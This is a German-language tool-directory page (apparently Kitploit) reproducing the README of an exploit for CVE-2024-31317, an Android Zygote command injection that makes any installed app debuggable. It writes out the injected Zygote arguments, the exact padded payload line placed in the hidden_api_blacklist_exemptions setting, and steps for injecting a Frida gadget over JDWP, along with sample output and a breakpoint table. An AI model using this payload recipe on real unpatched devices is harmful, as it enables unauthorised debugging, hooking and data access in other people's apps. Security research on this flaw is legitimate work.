Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 Exploit für debuggbare App | Kitploit
Tools/GitHubGitHub/cleov2/debuggable-app-exploit
Android-SicherheitSchwachstellenanalyseExploitationFuzzingMobile SicherheitLernen & BildungPayload-EntwicklungBinary-Exploitation
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 Exploit für debuggbare App

Repository anzeigen
123vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-31317 Debuggable App Exploit

Ein Python-basierter Exploit für CVE-2024-31317 (Android Zygote Injection), der jede installierte Android-App debuggbar macht, indem bösartige Zygote-Argumente über die hidden_api_blacklist_exemptions-Einstellung injiziert werden. Enthält optionale Frida-Gadget-Injektion für Runtime-Hooking.

Übersicht

Dieser Exploit nutzt eine Command-Injection-Schwachstelle im Zygote-Prozess von Android aus, um Zielanwendungen mit aktiviertem debuggable-Flag zu starten. Dies ermöglicht JDWP-Debugging und die Inspektion jeder App, ohne Root-Zugriff oder die Debug-Version der App zu benötigen.

Basierend auf der Forschung von: Flankers CVE-2024-31317 Analyse

Wichtige Erkenntnis: "das runtime-flags-Feld in ZygoteArguments kann tatsächlich verwendet werden, um das debuggable-Attribut einer Anwendung zu aktivieren."

Funktionen

  • Auto-Erkennungsmodus – Erkennt automatisch die UID, den Befehlssatz und das Datenverzeichnis der Ziel-App
  • Debuggable-Flag-Injektion – Setzt runtime-flags=65535, um Debugging zu aktivieren
  • JDWP-Weiterleitung – Richtet automatisch JDWP-Portweiterleitung nach dem Exploit ein
  • Frida-Gadget-Injektion – Injiziert optional Frida für Runtime-Hooking über JDWP
  • Intelligente Breakpoints – Verwendet zuverlässige Breakpoints, die automatisch ohne Benutzereingriff auslösen
  • Auto-Installation der Debug-App – Installiert die Helfer-App, falls nicht vorhanden

Voraussetzungen

  • Android-Gerät, anfällig für CVE-2024-31317 (Sicherheitspatch vor Juni 2024)
  • ADB installiert und USB-Debugging aktiviert
  • Python 3.10+
  • Erforderliche Pakete: ppadb, jdwplib

Installation

Platzieren Sie die folgenden Dateien im selben Verzeichnis:

root@kitploit:~
├── CVE-2024-31317-Debuggable.py    # Haupt-Exploit-Skript
├── jdwplib.py                       # JDWP-Client-Bibliothek
├── app-debug.apk                    # Debuggable Helfer-App
├── frida-gadget-android-*.so        # Frida-Gadget (optional)
├── frida-gadget.config.so           # Frida-Konfiguration (optional)
└── win32/adb.exe                    # Windows ADB-Binärdatei

Verwendung

Einfache Verwendung

root@kitploit:~
python CVE-2024-31317-Debuggable.py

Das Skript fordert Sie zur Auswahl eines Parametererkennungsmodus auf:

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]:

Was es tut

  1. Phase 1: startSeq extrahieren

    • Startet eine debuggable Helfer-App
    • Verbindet sich über JDWP und extrahiert den startSeq-Wert aus Stack-Frames
    • Schließt die Helfer-App
  2. Phase 2: Zygote-Argumente injizieren

    • Erstellt bösartige Zygote-Argumente mit runtime-flags=65535 (debuggable)
    • Injiziert Payload in die hidden_api_blacklist_exemptions-Einstellung
    • Stoppt die Ziel-App zwangsweise und startet sie mit injizierten Argumenten neu
  3. Phase 3: Post-Exploitation

    • Richtet JDWP-Portweiterleitung ein
    • Injiziert optional das Frida-Gadget für Runtime-Hooking

Beispiel-Ausgabe

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]: 1

[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701

Inject Frida? (y/N):

Konfiguration

Ziel-App

Bearbeiten Sie die Konstanten am Anfang des Skripts:

root@kitploit:~
TARGET_APP = "com.debug.configurator"  # Ändern Sie dies zu Ihrem Zielpaket
DEBUG_APP = "com.debug.app"            # Helfer-Debuggable-App
DEBUG_APK = "app-debug.apk"            # APK-Datei für die Helfer-App

Auto-Erkennung vs. fest codierte Werte

Auto-Erkennungsmodus (empfohlen):

  • Verwendet pm list packages -U, um die UID zu erhalten
  • Verwendet dumpsys package, um Befehlssatz und Datenverzeichnis zu ermitteln
  • Zuverlässiger über verschiedene Geräte hinweg

Fest codierter Modus:

  • Verwendet Standardwerte (UID=10242, arm64 usw.)
  • Schneller, aber weniger zuverlässig, wenn das Gerät von den Standardwerten abweicht

Frida-Gadget-Injektion

Nach erfolgreichem Exploit können Sie optional das Frida-Gadget injizieren:

root@kitploit:~
Inject Frida? (y/N): y

Das Skript wird:

  1. frida-gadget.so nach /data/local/tmp/ schieben
  2. Über run-as in das Datenverzeichnis der App kopieren
  3. Einen Breakpoint setzen und das Gadget über JDWP laden
  4. Die Ports 27042 und 27043 weiterleiten

Breakpoint-Ziele

Das Skript probiert diese Breakpoints in der Reihenfolge ihrer Zuverlässigkeit:

Die oberen Breakpoints sollten automatisch auslösen. Falls sie auslaufen, tippen Sie auf die App, um die Fallback-Breakpoints auszulösen.

Verbindung zu Frida

Nach erfolgreicher Injektion:

root@kitploit:~
# Verbindung zum Gadget
frida -H 127.0.0.1:27042 -n Gadget

# Prozesse auflisten
frida-ps -H 127.0.0.1:27042

Nach der Ausbeutung

Sobald der Exploit erfolgreich ist, läuft die Ziel-App mit aktiviertem Debugging:

  1. Mit JDWP-Debugger verbinden:

    root@kitploit:~
    jdb -attach localhost:8701
    
  2. Android Studio Debugger verwenden – An den Prozess auf dem weitergeleiteten Port anhängen

  3. Frida verwenden – Falls das Gadget über das Skript injiziert wurde

Funktionsweise

Schwachstellenübersicht

CVE-2024-31317 ist eine Command-Injection-Schwachstelle im Zygote-Prozess von Android. Durch Manipulation der hidden_api_blacklist_exemptions-Systemeinstellung mit speziell präparierter Eingabe können wir beim Start einer App beliebige Zygote-Argumente injizieren.

Wichtige Komponenten

  1. startSeq-Extraktion: Jeder App-Start hat eine eindeutige Sequenznummer. Wir extrahieren diese aus einer debuggable App über JDWP, indem wir Stack-Frame-Variablen inspizieren.

  2. Payload-Konstruktion: Wir erstellen Zygote-Argumente einschließlich:

    root@kitploit:~
    --runtime-args
    --setuid=<target_uid>
    --setgid=<target_gid>
    --runtime-flags=65535      # Aktiviert alle Debug-Flags
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<package>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<arch>
    --app-data-dir=<data_dir>
    --package-name=<package>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. Injektion: Der Payload wird mit spezifischem Padding für Android 12+ in die Systemeinstellung injiziert:

    root@kitploit:~
    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. Auslösung: Ziel-App zwangsweise stoppen und neu starten, die dann mit unseren injizierten Argumenten und aktiviertem debuggable-Flag startet.

Frida-Injektion über JDWP

Die Frida-Injektion funktioniert wie folgt:

  1. Verbindung zur debuggable App über JDWP herstellen
  2. Breakpoint auf eine häufig aufgerufene Methode setzen
  3. Wenn der Breakpoint auslöst, wird Runtime.load() verwendet, um die Frida-Gadget-Shared-Library zu laden
  4. Das Gadget initialisiert und beginnt auf Port 27042 zu lauschen

Einschränkungen

  • Funktioniert nur auf Geräten, die für CVE-2024-31317 anfällig sind (Sicherheitspatch vor Juni 2024)
  • Kein Root-Exploit – bietet nur debuggable Zugriff auf die Ziel-App
  • Frida-Injektion erfordert, dass die App läuft und Breakpoints auslöst
  • Einige stark obfuskierte Apps könnten Frida-Hooking widerstehen

Fehlerbehebung

"Failed to get startSeq"

  • Stellen Sie sicher, dass die Debug-App ordnungsgemäß signiert und installierbar ist
  • Versuchen Sie, den Exploit erneut auszuführen

"No breakpoint hit" während der Frida-Injektion

  • Tippen Sie auf die App, um Touch/Draw-Breakpoints auszulösen
  • Stellen Sie sicher, dass die App im Vordergrund ist

Frida-Verbindung verweigert

  • Überprüfen Sie die Portweiterleitung: adb forward --list
  • Führen Sie die Portweiterleitung erneut aus: adb forward tcp:27042 tcp:27042

Danksagungen

  • Flanker (flanker017) – Ursprüngliche Forschung und detaillierte Beschreibung zu CVE-2024-31317
  • typlo – Code-Snippets zum Auffinden von startSeq über JDWP-Inspektion
  • Anonymous941 – Referenzimplementierung des Zygote-Injektions-Toolkits
  • Meta X Red Team – Ursprüngliche Entdeckung und Offenlegung der Schwachstelle

Referenzen

  • CVE-2024-31317 Detailed Analysis - Flanker
  • Meta Security Advisory
  • InfoSec Writeup
  • Anonymous941's Zygote Injection Toolkit
  • Frida Documentation

Haftungsausschluss

Dieses Tool dient ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken. Verwenden Sie es nur auf Geräten, die Ihnen gehören oder für die Sie ausdrückliche schriftliche Erlaubnis zum Testen haben. Unautorisierter Zugriff auf Computersysteme ist illegal und unethisch. Die Autoren übernehmen keine Verantwortung für Missbrauch dieses Tools.

Lizenz

MIT-Lizenz – Einzelheiten siehe LICENSE-Datei.

Tool herunterladen
KlasseMethodeAuslöser
android.os.MessageQueuenextAutomatisch – Haupt-Looper pollt ständig
android.os.BinderexecTransactAutomatisch – jeder IPC/Binder-Aufruf
android.app.ActivityThreadhandleMessageAutomatisch – Haupt-Handler der App
android.os.HandlerdispatchMessageAutomatisch – Nachrichtenverteilung
android.os.HandlerhandleMessageAutomatisch – Nachrichtenverarbeitung
android.view.ChoreographerdoFrameAutomatisch – Frame-Callbacks
android.view.ViewdispatchTouchEventManuell – erfordert Berührung
android.view.ViewonDrawManuell – erfordert UI-Neuzeichnung